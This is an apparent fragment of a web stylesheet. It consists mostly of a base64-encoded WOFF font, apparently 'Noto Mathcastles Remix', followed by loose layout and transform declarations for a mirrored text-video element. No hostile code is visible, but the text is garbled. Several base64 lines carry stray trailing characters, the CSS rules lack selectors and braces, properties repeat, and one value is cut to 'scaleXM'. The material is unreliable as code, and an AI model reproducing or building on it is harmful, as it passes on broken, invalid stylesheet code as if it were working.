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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #121013;
    font-size: 16px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
